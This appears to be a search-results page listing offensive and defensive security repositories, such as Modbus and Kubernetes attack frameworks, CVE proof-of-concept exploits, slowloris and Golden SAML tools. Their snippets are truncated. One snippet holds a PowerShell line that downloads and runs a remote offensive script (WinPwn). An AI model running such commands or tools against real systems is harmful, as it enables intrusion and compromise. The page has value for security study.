363596 matches found
wotop
Web-On-Top-Of-Protocol WOTOP ██╗ ██╗ ██████╗ ████████╗ ██████╗ ██████╗ ██║ ██║██╔═══██╗╚══██╔══╝██╔═══██╗██╔══██╗ ██║ █╗ ██║██║ ██║ ██║ ██║ ██║██████╔╝ ██║███╗██║██║ ██║ ██║ ██║ ██║██╔═══╝ ╚███╔███╔╝╚██████╔╝ ██║ ╚██████╔╝██║ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ Introduction WOTOP is a tool meant to...
smod
smod smod 是一个模块化框架，包含了你对 Modbus 协议进行渗透测试所需的各类诊断与攻击功能。它使用 Python 和 Scapy 实现了完整的 Modbus 协议。该软件可在 Linux/OSX 系统上、python 2.7.x 环境下运行。 摘要 近年来，基于 SCADA（过程控制网络）的系统已从专有的封闭网络逐步转向开源解决方案和启用 TCP/IP 的网络。这使得它们面临与传统计算机网络相同的安全漏洞。 Modbus/TCP 协议被用作参考协议，以展示测试床在对电力系统协议实施网络攻击时的有效性。选择 Modbus/TCP 具体有以下原因： modbus...
Pentest-Tools-Collection
Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...
CVE-2026-60004-POC
CVE-2026-60004 — Gitea 预认证远程代码执行（CVSS 9.8） ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │ └──────────────────────────────────────────────────────────────┘ 📋 概述 属性| ...
aapanel
aapanel aapanel 6.6.6 - CVE-2020-14950 描述：允许远程认证用户通过软件商店（Software Store）的设置菜单执行任意命令。 受影响版本：全部 = 6.6.6 信息 为了制作这个 PoC，我仅使用 docker-compose 安装了该软件。 漏洞类型：远程命令执行（认证后 RCE） PoC 前往软件商店，点击设置字段中的任意一行，在点击“启动/停止/重启”时拦截请求，然后修改/编辑该请求以执行您想要的操作。以下是一个使用 curl 的示例： aapanel 6.6.6 - CVE-2020-14421 描述：允许攻击者远程运行任意命令...
loldrivers-client
LOLDrivers-client The OG, blazingly fast , zero dependencies client for LOLDrivers by MagicSword. Scan your Windows computer for known vulnerable or malicious drivers. Installation Command Line Copy and paste the command below into a PowerShell terminal. This does not require an elevated...
CVE-2019-12409
CVE-2019-12409 RCE en Apache Solr ENABLEREMOTEJMXOPTS="true" root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true" Enables log...
MSHTML-CVE-2021-40444
https://github.com/lockedbyte/CVE-2021-40444 查看 NotREADME.md 中的实际 README 我做了一些小调整，并实现流程自动化 如果你有 DLL sudo bash run.sh -i interface -d dll 如果你想让我为你编译 dll sudo bash run.sh -i interface -c "command"...
EITest-tools-scripts-IOCs
入侵指标 IOCs 与EITest活动相关的入侵指标（IOCs）每30分钟更新一次。 EITest DGA算法使用的域名 stat-dns.com已被接管。因此，EITest活动似乎自2018-03-15起已停止。 backend-decipher.py 解码从受感染网站通过EITest脚本传输到EITest C2的数据。 infolDecrypter.py 解码由受害者传输到help.php和download.php的数据。 injPayloadDecrypter.py 解码从EITest C2传输到受感染网站的数据（将要注入到网页中的内容）。...
CVE-2025-55234
CVE-2025-55234 此漏洞允许攻击者对 SMB（服务器消息块）协议执行中继攻击。若成功利用，可导致权限提升（EoP），使未授权用户获取系统上的更高访问权限。 作者：Mark Mallia 问题 此漏洞允许攻击者对 SMB（服务器消息块）协议执行中继攻击。若成功利用，可导致权限提升——实质上使未授权用户获取系统上的更高访问权限。SMB 由于在企业环境中广泛使用以及历史上存在严重缺陷，长期以来一直是攻击者的目标。例如，CVE-2020-1301 通过畸形请求导致 SMBv1 远程代码执行，而 CVE-2022-32230 通过 SMBv3 空指针解引用导致拒绝服务。臭名昭著的...
CVE-2021-27850_POC
CVE-2021-27850 エクスプロイト 概要 CVE-2021-27850 は、すべての最新バージョンの Apache Tapestry で発見された重要な未認証リモートコード実行脆弱性です。AppModule.class ファイルをダウンロードすることで、Apache Tapestry 内のすべてのシリアライズオブジェクトの署名に使用される HMAC 秘密鍵を漏洩できます。 この CVE は実際のセキュリティ評価で遭遇しましたが、私の知る限り、Tapestry がシリアライズオブジェクトに署名する方法に関する公開エクスプロイトは存在しなかったため、Apache Tapestry...
diaphora-mcp
ロシア語で読む Diaphora MCP Diaphora MCP は、自動バイナリ差分解析のための MCP Model Context Protocol サーバーです。Diaphora 差分解析エンジン と IDA Pro 逆アセンブラ を MCP プロトコルで接続し、AI エージェント Claude Code など がバイナリファイルの比較、セキュリティパッチの検出、変更の分析を実行できるようにします。 特徴 エクスポート : 解析済みの .i64 / .idb データベースを Diaphora SQLite 形式に変換 idat.exe ヘッドレスモード経由 差分解析 :...
UniPwn
Unitree 机器人 BLE 服务命令注入分析 作者： Bin4ry 又名 Andreas Makris [email protected] 合著者： h0stile 又名 Kevin Finisterre 贡献者： legion1581 又名 Konstantin Severov，来自 theroboverse，帮助修复了注入的 payload，并通过一个完整可用的 PoC 证明了这一点 🙂 谢谢老兄，这是一项至关重要的贡献，非常感谢！ 日期： 2025 年 9 月 20 日 CVE 列表 CVE-2025-35027 CVE-2025-60017 CVE-2025-602...
Arecibo
Arecibo アウトオブバンド流出（DNS・HTTP）のエンドポイント 著者 Juan Manuel Fernández @TheXC3LL & Pablo Martinez @Xassiz DNS によるデータ流出 新しいトークンを作成: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" この識別トークンを使用して DNS 解決を実行できます（ABCD.TOKEN.x.yourdomain.com）:...
peirates
Peirates What is Peirates? Peirates, a Kubernetes penetration tool, enables an attacker to escalate privilege and pivot through a Kubernetes cluster. It automates known techniques to steal and collect service account tokens, secrets, obtain further code execution, and gain control of the cluster...
andriller
Andriller CE Community Edition Andriller - is software utility with a collection of forensic tools for smartphones. It performs read-only, forensically sound, non-destructive acquisition from Android devices. It has features, such as powerful Lockscreen cracking for Pattern, PIN code, or Password...
slowloris
slowloris.py - Simple slowloris in Python What is Slowloris? Slowloris is basically an HTTP Denial of Service attack that affects threaded servers. It works like this: 1. We start making lots of HTTP requests. 2. We send headers periodically every 15 seconds to keep the connections open. 3. We...
PhantomFS
偽のファイル。本当のセキュリティ。 Windows向け仮想ハニーポットファイルシステム — 攻撃者を本物に見えるディレクトリにおびき寄せ、現行犯で捕まえます。 PhantomFSとは？ PhantomFSはWindows Projected File System ProjFSを利用して、記憶域にのみ存在する説得力のあるおとりファイル（財務報告書、SSHキー、API認証情報、人事スプレッドシート、NDAなど）で満たされた仮想ディレクトリを表面化します。攻撃者（または内部脅威）がファイルを開くまで、データがディスクに書き込まれることはありません。...
shimit
shimit shimit is a python tool that implements the Golden SAML attack. More informations on this can be found in the following article on our blog. python .\shimit.py -h usage: shimit.py -h -pk KEY -c CERT -sp SP -idp IDP -u USER -reg REGION --SessionValidity SESSIONVALIDITY --SamlValidity...